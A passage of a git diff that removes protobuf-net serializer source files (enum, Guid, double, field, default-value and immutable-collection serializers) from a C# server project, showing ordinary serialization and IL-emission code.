a/Server/Core/ProtoBuf/Serializers/DefaultValueDecorator.cs +++ /dev/null @@ -1,281 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class DefaultValueDecorator : ProtoDecoratorBase - { - public override Type ExpectedType - { - get { return Tail.ExpectedType; } - } - - public override bool RequiresOldValue - { - get { return Tail.RequiresOldValue; } - } - - public override bool ReturnsValue - { - get { return Tail.ReturnsValue; } - } - - private readonly object defaultValue; - - public DefaultValueDecorator(TypeModel model, object defaultValue, IProtoSerializer tail) : base(tail) - { - if (defaultValue == null) throw new ArgumentNullException("defaultValue"); - Type type = model.MapType(defaultValue.GetType()); - if (type != tail.ExpectedType -#if FEAT_IKVM // in IKVM, we'll have the default value as an underlying type - && !(tail.ExpectedType.IsEnum && type == tail.ExpectedType.GetEnumUnderlyingType()) -#endif - ) - { - throw new ArgumentException("Default value is of incorrect type", "defaultValue"); - } - this.defaultValue = defaultValue; - } - -#if !FEAT_IKVM - public override void Write(object value, ProtoWriter dest) - { - if (!object.Equals(value, defaultValue)) - { - Tail.Write(value, dest); - } - } - - public override object Read(object value, ProtoReader source) - { - return Tail.Read(value, source); - } -#endif - -#if FEAT_COMPILER - protected override void EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - Compiler.CodeLabel done = ctx.DefineLabel(); - if (valueFrom == null) - { - ctx.CopyValue(); // on the stack - Compiler.CodeLabel needToPop = ctx.DefineLabel(); - EmitBranchIfDefaultValue(ctx, needToPop); - Tail.EmitWrite(ctx, null); - ctx.Branch(done, true); - ctx.MarkLabel(needToPop); - ctx.DiscardValue(); - } - else - { - ctx.LoadValue(valueFrom); // variable/parameter - EmitBranchIfDefaultValue(ctx, done); - Tail.EmitWrite(ctx, valueFrom); - } - ctx.MarkLabel(done); - } - private void EmitBeq(Compiler.CompilerContext ctx, Compiler.CodeLabel label, Type type) - { - switch (Helpers.GetTypeCode(type)) - { - case ProtoTypeCode.Boolean: - case ProtoTypeCode.Byte: - case ProtoTypeCode.Char: - case ProtoTypeCode.Double: - case ProtoTypeCode.Int16: - case ProtoTypeCode.Int32: - case ProtoTypeCode.Int64: - case ProtoTypeCode.SByte: - case ProtoTypeCode.Single: - case ProtoTypeCode.UInt16: - case ProtoTypeCode.UInt32: - case ProtoTypeCode.UInt64: - ctx.BranchIfEqual(label, false); - break; - default: - MethodInfo method = type.GetMethod("op_Equality", BindingFlags.Public | BindingFlags.Static, - null, new Type[] { type, type}, null); - if (method == null || method.ReturnType != ctx.MapType(typeof(bool))) - { - throw new InvalidOperationException("No suitable equality operator found for default-values of type: " + type.FullName); - } - ctx.EmitCall(method); - ctx.BranchIfTrue(label, false); - break; - - } - } - private void EmitBranchIfDefaultValue(Compiler.CompilerContext ctx, Compiler.CodeLabel label) - { - Type expected = ExpectedType; - switch (Helpers.GetTypeCode(expected)) - { - case ProtoTypeCode.Boolean: - if ((bool)defaultValue) - { - ctx.BranchIfTrue(label, false); - } - else - { - ctx.BranchIfFalse(label, false); - } - break; - case ProtoTypeCode.Byte: - if ((byte)defaultValue == (byte)0) - { - ctx.BranchIfFalse(label, false); - } - else - { - ctx.LoadValue((int)(byte)defaultValue); - EmitBeq(ctx, label, expected); - } - break; - case ProtoTypeCode.SByte: - if ((sbyte)defaultValue == (sbyte)0) - { - ctx.BranchIfFalse(label, false); - } - else - { - ctx.LoadValue((int)(sbyte)defaultValue); - EmitBeq(ctx, label, expected); - } - break; - case ProtoTypeCode.Int16: - if ((short)defaultValue == (short)0) - { - ctx.BranchIfFalse(label, false); - } - else - { - ctx.LoadValue((int)(short)defaultValue); - EmitBeq(ctx, label, expected); - } - break; - case ProtoTypeCode.UInt16: - if ((ushort)defaultValue == (ushort)0) - { - ctx.BranchIfFalse(label, false); - } - else - { - ctx.LoadValue((int)(ushort)defaultValue); - EmitBeq(ctx, label, expected); - } - break; - case ProtoTypeCode.Int32: - if ((int)defaultValue == (int)0) - { - ctx.BranchIfFalse(label, false); - } - else - { - ctx.LoadValue((int)defaultValue); - EmitBeq(ctx, label, expected); - } - break; - case ProtoTypeCode.UInt32: - if ((uint)defaultValue == (uint)0) - { - ctx.BranchIfFalse(label, false); - } - else - { - ctx.LoadValue((int)(uint)defaultValue); - EmitBeq(ctx, label, expected); - } - break; - case ProtoTypeCode.Char: - if ((char)defaultValue == (char)0) - { - ctx.BranchIfFalse(label, false); - } - else - { - ctx.LoadValue((int)(char)defaultValue); - EmitBeq(ctx, label, expected); - } - break; - case ProtoTypeCode.Int64: - ctx.LoadValue((long)defaultValue); - EmitBeq(ctx, label, expected); - break; - case ProtoTypeCode.UInt64: - ctx.LoadValue((long)(ulong)defaultValue); - EmitBeq(ctx, label, expected); - break; - case ProtoTypeCode.Double: - ctx.LoadValue((double)defaultValue); - EmitBeq(ctx, label, expected); - break; - case ProtoTypeCode.Single: - ctx.LoadValue((float)defaultValue); - EmitBeq(ctx, label, expected); - break; - case ProtoTypeCode.String: - ctx.LoadValue((string)defaultValue); - EmitBeq(ctx, label, expected); - break; - case ProtoTypeCode.Decimal: - { - decimal d = (decimal)defaultValue; - ctx.LoadValue(d); - EmitBeq(ctx, label, expected); - } - break; - case ProtoTypeCode.TimeSpan: - { - TimeSpan ts = (TimeSpan)defaultValue; - if (ts == TimeSpan.Zero) - { - ctx.LoadValue(typeof(TimeSpan).GetField("Zero")); - } - else - { - ctx.LoadValue(ts.Ticks); - ctx.EmitCall(ctx.MapType(typeof(TimeSpan)).GetMethod("FromTicks")); - } - EmitBeq(ctx, label, expected); - break; - } - case ProtoTypeCode.Guid: - { - ctx.LoadValue((Guid)defaultValue); - EmitBeq(ctx, label, expected); - break; - } - case ProtoTypeCode.DateTime: - { -#if FX11 - ctx.LoadValue(((DateTime)defaultValue).ToFileTime()); - ctx.EmitCall(typeof(DateTime).GetMethod("FromFileTime")); -#else - ctx.LoadValue(((DateTime)defaultValue).ToBinary()); - ctx.EmitCall(ctx.MapType(typeof(DateTime)).GetMethod("FromBinary")); -#endif - - EmitBeq(ctx, label, expected); - break; - } - default: - throw new NotSupportedException("Type cannot be represented as a default value: " + expected.FullName); - } - } - protected override void EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - Tail.EmitRead(ctx, valueFrom); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/DoubleSerializer.cs b/Server/Core/ProtoBuf/Serializers/DoubleSerializer.cs deleted file mode 100644 index 3fce78ee..00000000 --- a/Server/Core/ProtoBuf/Serializers/DoubleSerializer.cs +++ /dev/null @@ -1,69 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class DoubleSerializer : IProtoSerializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (double); -#endif - - public DoubleSerializer(ProtoBuf.Meta.TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(double)); -#endif - } - - public Type ExpectedType - { - get { return expectedType; } - } - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if !FEAT_IKVM - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return source.ReadDouble(); - } - - public void Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteDouble((double) value, dest); - } -#endif -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicWrite("WriteDouble", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead("ReadDouble", ExpectedType); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/EnumSerializer.cs b/Server/Core/ProtoBuf/Serializers/EnumSerializer.cs deleted file mode 100644 index 901d0c47..00000000 --- a/Server/Core/ProtoBuf/Serializers/EnumSerializer.cs +++ /dev/null @@ -1,310 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class EnumSerializer : IProtoSerializer - { - public struct EnumPair - { - public readonly object RawValue; // note that this is boxing, but I'll live with it -#if !FEAT_IKVM - public readonly Enum TypedValue; // note that this is boxing, but I'll live with it -#endif - public readonly int WireValue; - - public EnumPair(int wireValue, object raw, Type type) - { - WireValue = wireValue; - RawValue = raw; -#if !FEAT_IKVM - TypedValue = (Enum) Enum.ToObject(type, raw); -#endif - } - } - - private readonly Type enumType; - private readonly EnumPair[] map; - - public EnumSerializer(Type enumType, EnumPair[] map) - { - if (enumType == null) throw new ArgumentNullException("enumType"); - this.enumType = enumType; - this.map = map; - if (map != null) - { - for (int i = 1; i < map.Length; i++) - for (int j = 0; j < i; j++) - { - if (map[i].WireValue == map[j].WireValue && !Equals(map[i].RawValue, map[j].RawValue)) - { - throw new ProtoException("Multiple enums with wire-value " + map[i].WireValue.ToString()); - } - if (Equals(map[i].RawValue, map[j].RawValue) && map[i].WireValue != map[j].WireValue) - { - throw new ProtoException("Multiple enums with deserialized-value " + map[i].RawValue); - } - } - } - } - - private ProtoTypeCode GetTypeCode() - { - Type type = Helpers.GetUnderlyingType(enumType); - if (type == null) type = enumType; - return Helpers.GetTypeCode(type); - } - - - public Type ExpectedType - { - get { return enumType; } - } - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if !FEAT_IKVM - private int EnumToWire(object value) - { - unchecked - { - switch (GetTypeCode()) - { - // unbox then convert to int - case ProtoTypeCode.Byte: - return (int) (byte) value; - case ProtoTypeCode.SByte: - return (int) (sbyte) value; - case ProtoTypeCode.Int16: - return (int) (short) value; - case ProtoTypeCode.Int32: - return (int) value; - case ProtoTypeCode.Int64: - return (int) (long) value; - case ProtoTypeCode.UInt16: - return (int) (ushort) value; - case ProtoTypeCode.UInt32: - return (int) (uint) value; - case ProtoTypeCode.UInt64: - return (int) (ulong) value; - default: - throw new InvalidOperationException(); - } - } - } - - private object WireToEnum(int value) - { - unchecked - { - switch (GetTypeCode()) - { - // convert from int then box - case ProtoTypeCode.Byte: - return Enum.ToObject(enumType, (byte) value); - case ProtoTypeCode.SByte: - return Enum.ToObject(enumType, (sbyte) value); - case ProtoTypeCode.Int16: - return Enum.ToObject(enumType, (short) value); - case ProtoTypeCode.Int32: - return Enum.ToObject(enumType, value); - case ProtoTypeCode.Int64: - return Enum.ToObject(enumType, (long) value); - case ProtoTypeCode.UInt16: - return Enum.ToObject(enumType, (ushort) value); - case ProtoTypeCode.UInt32: - return Enum.ToObject(enumType, (uint) value); - case ProtoTypeCode.UInt64: - return Enum.ToObject(enumType, (ulong) value); - default: - throw new InvalidOperationException(); - } - } - } - - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - int wireValue = source.ReadInt32(); - if (map == null) - { - return WireToEnum(wireValue); - } - for (int i = 0; i < map.Length; i++) - { - if (map[i].WireValue == wireValue) - { - return map[i].TypedValue; - } - } - source.ThrowEnumException(ExpectedType, wireValue); - return null; // to make compiler happy - } - - public void Write(object value, ProtoWriter dest) - { - if (map == null) - { - ProtoWriter.WriteInt32(EnumToWire(value), dest); - } - else - { - for (int i = 0; i < map.Length; i++) - { - if (object.Equals(map[i].TypedValue, value)) - { - ProtoWriter.WriteInt32(map[i].WireValue, dest); - return; - } - } - ProtoWriter.ThrowEnumException(dest, value); - } - } -#endif -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ProtoTypeCode typeCode = GetTypeCode(); - if (map == null) - { - ctx.LoadValue(valueFrom); - ctx.ConvertToInt32(typeCode, false); - ctx.EmitBasicWrite("WriteInt32", null); - } - else - { - using (Compiler.Local loc = ctx.GetLocalWithValue(ExpectedType, valueFrom)) - { - Compiler.CodeLabel @continue = ctx.DefineLabel(); - for (int i = 0; i < map.Length; i++) - { - Compiler.CodeLabel tryNextValue = ctx.DefineLabel(), processThisValue = ctx.DefineLabel(); - ctx.LoadValue(loc); - WriteEnumValue(ctx, typeCode, map[i].RawValue); - ctx.BranchIfEqual(processThisValue, true); - ctx.Branch(tryNextValue, true); - ctx.MarkLabel(processThisValue); - ctx.LoadValue(map[i].WireValue); - ctx.EmitBasicWrite("WriteInt32", null); - ctx.Branch(@continue, false); - ctx.MarkLabel(tryNextValue); - } - ctx.LoadReaderWriter(); - ctx.LoadValue(loc); - ctx.CastToObject(ExpectedType); - ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("ThrowEnumException")); - ctx.MarkLabel(@continue); - } - } - - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ProtoTypeCode typeCode = GetTypeCode(); - if (map == null) - { - ctx.EmitBasicRead("ReadInt32", ctx.MapType(typeof(int))); - ctx.ConvertFromInt32(typeCode, false); - } - else - { - int[] wireValues = new int[map.Length]; - object[] values = new object[map.Length]; - for (int i = 0; i < map.Length; i++) - { - wireValues[i] = map[i].WireValue; - values[i] = map[i].RawValue; - } - using (Compiler.Local result = new Compiler.Local(ctx, ExpectedType)) - using (Compiler.Local wireValue = new Compiler.Local(ctx, ctx.MapType(typeof(int)))) - { - ctx.EmitBasicRead("ReadInt32", ctx.MapType(typeof(int))); - ctx.StoreValue(wireValue); - Compiler.CodeLabel @continue = ctx.DefineLabel(); - foreach (BasicList.Group group in BasicList.GetContiguousGroups(wireValues, values)) - { - Compiler.CodeLabel tryNextGroup = ctx.DefineLabel(); - int groupItemCount = group.Items.Count; - if (groupItemCount == 1) - { - // discreet group; use an equality test - ctx.LoadValue(wireValue); - ctx.LoadValue(group.First); - Compiler.CodeLabel processThisValue = ctx.DefineLabel(); - ctx.BranchIfEqual(processThisValue, true); - ctx.Branch(tryNextGroup, false); - WriteEnumValue(ctx, typeCode, processThisValue, @continue, group.Items[0], @result); - } - else - { - // implement as a jump-table-based switch - ctx.LoadValue(wireValue); - ctx.LoadValue(group.First); - ctx.Subtract(); // jump-tables are zero-based - Compiler.CodeLabel[] jmp = new Compiler.CodeLabel[groupItemCount]; - for (int i = 0; i < groupItemCount; i++) { - jmp[i] = ctx.DefineLabel(); - } - ctx.Switch(jmp); - // write the default... - ctx.Branch(tryNextGroup, false); - for (int i = 0; i < groupItemCount; i++) - { - WriteEnumValue(ctx, typeCode, jmp[i], @continue, group.Items[i], @result); - } - } - ctx.MarkLabel(tryNextGroup); - } - // throw source.CreateEnumException(ExpectedType, wireValue); - ctx.LoadReaderWriter(); - ctx.LoadValue(ExpectedType); - ctx.LoadValue(wireValue); - ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("ThrowEnumException")); - ctx.MarkLabel(@continue); - ctx.LoadValue(result); - } - } - } - private static void WriteEnumValue(Compiler.CompilerContext ctx, ProtoTypeCode typeCode, object value) - { - switch (typeCode) - { - case ProtoTypeCode.Byte: ctx.LoadValue((int)(byte)value); break; - case ProtoTypeCode.SByte: ctx.LoadValue((int)(sbyte)value); break; - case ProtoTypeCode.Int16: ctx.LoadValue((int)(short)value); break; - case ProtoTypeCode.Int32: ctx.LoadValue((int)(int)value); break; - case ProtoTypeCode.Int64: ctx.LoadValue((long)(long)value); break; - case ProtoTypeCode.UInt16: ctx.LoadValue((int)(ushort)value); break; - case ProtoTypeCode.UInt32: ctx.LoadValue((int)(uint)value); break; - case ProtoTypeCode.UInt64: ctx.LoadValue((long)(ulong)value); break; - default: throw new InvalidOperationException(); - } - } - private static void WriteEnumValue(Compiler.CompilerContext ctx, ProtoTypeCode typeCode, Compiler.CodeLabel handler, Compiler.CodeLabel @continue, object value, Compiler.Local local) - { - ctx.MarkLabel(handler); - WriteEnumValue(ctx, typeCode, value); - ctx.StoreValue(local); - ctx.Branch(@continue, false); // "continue" - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/FieldDecorator.cs b/Server/Core/ProtoBuf/Serializers/FieldDecorator.cs deleted file mode 100644 index af6593bd..00000000 --- a/Server/Core/ProtoBuf/Serializers/FieldDecorator.cs +++ /dev/null @@ -1,109 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class FieldDecorator : ProtoDecoratorBase - { - public override Type ExpectedType - { - get { return forType; } - } - - private readonly FieldInfo field; - private readonly Type forType; - - public override bool RequiresOldValue - { - get { return true; } - } - - public override bool ReturnsValue - { - get { return false; } - } - - public FieldDecorator(Type forType, FieldInfo field, IProtoSerializer tail) : base(tail) - { - Helpers.DebugAssert(forType != null); - Helpers.DebugAssert(field != null); - this.forType = forType; - this.field = field; - } - -#if !FEAT_IKVM - public override void Write(object value, ProtoWriter dest) - { - Helpers.DebugAssert(value != null); - value = field.GetValue(value); - if (value != null) Tail.Write(value, dest); - } - - public override object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value != null); - object newValue = Tail.Read((Tail.RequiresOldValue ? field.GetValue(value) : null), source); - if (newValue != null) field.SetValue(value, newValue); - return null; - } -#endif - -#if FEAT_COMPILER - protected override void EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.LoadAddress(valueFrom, ExpectedType); - ctx.LoadValue(field); - ctx.WriteNullCheckedTail(field.FieldType, Tail, null); - } - protected override void EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - using (Compiler.Local loc = ctx.GetLocalWithValue(ExpectedType, valueFrom)) - { - if (Tail.RequiresOldValue) - { - ctx.LoadAddress(loc, ExpectedType); - ctx.LoadValue(field); - } - // value is either now on the stack or not needed - ctx.ReadNullCheckedTail(field.FieldType, Tail, null); - - if (Tail.ReturnsValue) - { - using (Compiler.Local newVal = new Compiler.Local(ctx, field.FieldType)) - { - ctx.StoreValue(newVal); - if (field.FieldType.IsValueType) - { - ctx.LoadAddress(loc, ExpectedType); - ctx.LoadValue(newVal); - ctx.StoreValue(field); - } - else - { - Compiler.CodeLabel allDone = ctx.DefineLabel(); - ctx.LoadValue(newVal); - ctx.BranchIfFalse(allDone, true); // interpret null as "don't assign" - - ctx.LoadAddress(loc, ExpectedType); - ctx.LoadValue(newVal); - ctx.StoreValue(field); - - ctx.MarkLabel(allDone); - } - } - } - } - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/GuidSerializer.cs b/Server/Core/ProtoBuf/Serializers/GuidSerializer.cs deleted file mode 100644 index 1a3c00ad..00000000 --- a/Server/Core/ProtoBuf/Serializers/GuidSerializer.cs +++ /dev/null @@ -1,66 +0,0 @@ -#if !NO_RUNTIME -using System; - -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class GuidSerializer : IProtoSerializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (Guid); -#endif - - public GuidSerializer(ProtoBuf.Meta.TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(Guid)); -#endif - } - - public Type ExpectedType - { - get { return expectedType; } - } - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if !FEAT_IKVM - public void Write(object value, ProtoWriter dest) - { - BclHelpers.WriteGuid((Guid) value, dest); - } - - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return BclHelpers.ReadGuid(source); - } -#endif - -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitWrite(ctx.MapType(typeof(BclHelpers)), "WriteGuid", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead(ctx.MapType(typeof(BclHelpers)), "ReadGuid", ExpectedType); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/IProtoSerializer.cs b/Server/Core/ProtoBuf/Serializers/IProtoSerializer.cs deleted file mode 100644 index d2d95f6c..00000000 --- a/Server/Core/ProtoBuf/Serializers/IProtoSerializer.cs +++ /dev/null @@ -1,73 +0,0 @@ -#if !NO_RUNTIME -using System; - -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -#endif - -namespace ProtoBuf.Serializers -{ - internal interface IProtoSerializer - { - /// - /// The type that this serializer is intended to work for. - /// - Type ExpectedType { get; } - -#if !FEAT_IKVM - /// - /// Perform the steps necessary to serialize this data. - /// - /// The value to be serialized. - /// The writer entity that is accumulating the output data. - void Write(object value, ProtoWriter dest); - - /// - /// Perform the steps necessary to deserialize this data. - /// - /// The current value, if appropriate. - /// The reader providing the input data. - /// The updated / replacement value. - object Read(object value, ProtoReader source); -#endif - - /// - /// Indicates whether a Read operation replaces the existing value, or - /// extends the value. If false, the "value" parameter to Read is - /// discarded, and should be passed in as null. - /// - bool RequiresOldValue { get; } - - /// - /// Now all Read operations return a value (although most do); if false no - /// value should be expected. - /// - bool ReturnsValue { get; } - -#if FEAT_COMPILER - - - /// Emit the IL necessary to perform the given actions - /// to serialize this data. - /// - /// Details and utilities for the method being generated. - /// The source of the data to work against; - /// If the value is only needed once, then LoadValue is sufficient. If - /// the value is needed multiple times, then note that a "null" - /// means "the top of the stack", in which case you should create your - /// own copy - GetLocalWithValue. - void EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom); - - /// - /// Emit the IL necessary to perform the given actions to deserialize this data. - /// - /// Details and utilities for the method being generated. - /// For nested values, the instance holding the values; note - /// that this is not always provided - a null means not supplied. Since this is always - /// a variable or argument, it is not necessary to consume this value. - void EmitRead(Compiler.CompilerContext ctx, Compiler.Local entity); -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/IProtoTypeSerializer.cs b/Server/Core/ProtoBuf/Serializers/IProtoTypeSerializer.cs deleted file mode 100644 index 557622a1..00000000 --- a/Server/Core/ProtoBuf/Serializers/IProtoTypeSerializer.cs +++ /dev/null @@ -1,23 +0,0 @@ -#if !NO_RUNTIME -using ProtoBuf.Meta; - -namespace ProtoBuf.Serializers -{ - internal interface IProtoTypeSerializer : IProtoSerializer - { - bool HasCallbacks(TypeModel.CallbackType callbackType); - bool CanCreateInstance(); -#if !FEAT_IKVM - object CreateInstance(ProtoReader source); - void Callback(object value, TypeModel.CallbackType callbackType, SerializationContext context); -#endif -#if FEAT_COMPILER - void EmitCallback(Compiler.CompilerContext ctx, Compiler.Local valueFrom, TypeModel.CallbackType callbackType); -#endif -#if FEAT_COMPILER - void EmitCreateInstance(Compiler.CompilerContext ctx); -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/ISerializerProxy.cs b/Server/Core/ProtoBuf/Serializers/ISerializerProxy.cs deleted file mode 100644 index 25b566de..00000000 --- a/Server/Core/ProtoBuf/Serializers/ISerializerProxy.cs +++ /dev/null @@ -1,12 +0,0 @@ - -#if !NO_RUNTIME - -namespace ProtoBuf.Serializers -{ - internal interface ISerializerProxy - { - IProtoSerializer Serializer { get; } - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/ImmutableCollectionDecorator.cs b/Server/Core/ProtoBuf/Serializers/ImmutableCollectionDecorator.cs deleted file mode 100644 index b2b8fe59..00000000 --- a/Server/Core/ProtoBuf/Serializers/ImmutableCollectionDecorator.cs +++ /dev/null @@ -1,296 +0,0 @@ -#if !NO_RUNTIME -using System; -using System.Collections; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class ImmutableCollectionDecorator : ListDecorator - { - protected override bool RequireAdd - { - get { return false; } - } - -#if !NO_GENERICS - - private static Type ResolveIReadOnlyCollection(Type declaredType, Type t) - { -#if WINRT - foreach (Type intImplBasic in declaredType.GetTypeInfo().ImplementedInterfaces) - { - TypeInfo intImpl = intImplBasic.GetTypeInfo(); - if (intImpl.IsGenericType && intImpl.Name.StartsWith("IReadOnlyCollection`")) - { - if(t != null) - { - Type[] typeArgs = intImpl.GenericTypeArguments; - if (typeArgs.Length != 1 && typeArgs[0] != t) continue; - } - return intImplBasic; - } - } -#else - foreach (Type intImpl in declaredType.GetInterfaces()) - { - if (intImpl.IsGenericType && intImpl.Name.StartsWith("IReadOnlyCollection`")) - { - if (t != null) - { - Type[] typeArgs = intImpl.GetGenericArguments(); - if (typeArgs.Length != 1 && typeArgs[0] != t) continue; - } - return intImpl; - } - } -#endif - return null; - } - - internal static bool IdentifyImmutable(TypeModel model, Type declaredType, out MethodInfo builderFactory, - out MethodInfo add, out MethodInfo addRange, out MethodInfo finish) - { - builderFactory = add = addRange = finish = null; - if (model == null || declaredType == null) return false; -#if WINRT - TypeInfo declaredTypeInfo = declaredType.GetTypeInfo(); -#else - Type declaredTypeInfo = declaredType; -#endif - - // try to detect immutable collections; firstly, they are all generic, and all implement IReadOnlyCollection for some T - if (!declaredTypeInfo.IsGenericType) return false; - -#if WINRT - Type[] typeArgs = declaredTypeInfo.GenericTypeArguments, effectiveType; -#else - Type[] typeArgs = declaredTypeInfo.GetGenericArguments(), effectiveType; -#endif - switch (typeArgs.Length) - { - case 1: - effectiveType = typeArgs; - break; // fine - case 2: - Type kvp = model.MapType(typeof (System.Collections.Generic.KeyValuePair<,>)); - if (kvp == null) return false; - kvp = kvp.MakeGenericType(typeArgs); - effectiveType = new Type[] {kvp}; - break; - default: - return false; // no clue! - } - - if (ResolveIReadOnlyCollection(declaredType, null) == null) return false; // no IReadOnlyCollection found - - // and we want to use the builder API, so for generic Foo or IFoo we want to use Foo.CreateBuilder - string name = declaredType.Name; - int i = name.IndexOf('`'); - if (i <= 0) return false; - name = declaredTypeInfo.IsInterface ? name.Substring(1, i - 1) : name.Substring(0, i); - - Type outerType = model.GetType(declaredType.Namespace + "." + name, declaredTypeInfo.Assembly); - // I hate special-cases... - if (outerType == null && name == "ImmutableSet") - { - outerType = model.GetType(declaredType.Namespace + ".ImmutableHashSet", declaredTypeInfo.Assembly); - } - if (outerType == null) return false; - -#if WINRT - foreach (MethodInfo method in outerType.GetTypeInfo().DeclaredMethods) -#else - foreach (MethodInfo method in outerType.GetMethods()) -#endif - { - if (!method.IsStatic || method.Name != "CreateBuilder" || !method.IsGenericMethodDefinition || - method.GetParameters().Length != 0 - || method.GetGenericArguments().Length != typeArgs.Length) continue; - - builderFactory = method.MakeGenericMethod(typeArgs); - break; - } - Type voidType = model.MapType(typeof (void)); - if (builderFactory == null || builderFactory.ReturnType == null || builderFactory.ReturnType == voidType) - return false; - - - add = Helpers.GetInstanceMethod(builderFactory.ReturnType, "Add", effectiveType); - if (add == null) return false; - - finish = Helpers.GetInstanceMethod(builderFactory.ReturnType, "ToImmutable", Helpers.EmptyTypes); - if (finish == null || finish.ReturnType == null || finish.ReturnType == voidType) return false; - - if (!(finish.ReturnType == declaredType || Helpers.IsAssignableFrom(declaredType, finish.ReturnType))) - return false; - - addRange = Helpers.GetInstanceMethod(builderFactory.ReturnType, "AddRange", new Type[] {declaredType}); - if (addRange == null) - { - Type enumerable = model.MapType(typeof (System.Collections.Generic.IEnumerable<>), false); - if (enumerable != null) - { - addRange = Helpers.GetInstanceMethod(builderFactory.ReturnType, "AddRange", - new Type[] {enumerable.MakeGenericType(effectiveType)}); - } - } - - return true; - } -#endif - private readonly MethodInfo builderFactory, add, addRange, finish; - - internal ImmutableCollectionDecorator(TypeModel model, Type declaredType, Type concreteType, - IProtoSerializer tail, int fieldNumber, bool writePacked, WireType packedWireType, bool returnList, - bool overwriteList, bool supportNull, - MethodInfo builderFactory, MethodInfo add, MethodInfo addRange, MethodInfo finish) - : base( - model, declaredType, concreteType, tail, fieldNumber, writePacked, packedWireType, returnList, - overwriteList, supportNull) - { - this.builderFactory = builderFactory; - this.add = add; - this.addRange = addRange; - this.finish = finish; - } - -#if !FEAT_IKVM - public override object Read(object value, ProtoReader source) - { - object builderInstance = builderFactory.Invoke(null, null); - int field = source.FieldNumber; - object[] args = new object[1]; - if (AppendToCollection && value != null && ((IList) value).Count != 0) - { - if (addRange != null) - { - args[0] = value; - addRange.Invoke(builderInstance, args); - } - else - { - foreach (object item in (IList) value) - { - args[0] = item; - add.Invoke(builderInstance, args); - } - } - } - - if (packedWireType != WireType.None && source.WireType == WireType.String) - { - SubItemToken token = ProtoReader.StartSubItem(source); - while (ProtoReader.HasSubValue(packedWireType, source)) - { - args[0] = Tail.Read(null, source); - add.Invoke(builderInstance, args); - } - ProtoReader.EndSubItem(token, source); - } - else - { - do - { - args[0] = Tail.Read(null, source); - add.Invoke(builderInstance, args); - } while (source.TryReadFieldHeader(field)); - } - - return finish.Invoke(builderInstance, null); - } -#endif - -#if FEAT_COMPILER - protected override void EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - using (Compiler.Local oldList = AppendToCollection ? ctx.GetLocalWithValue(ExpectedType, 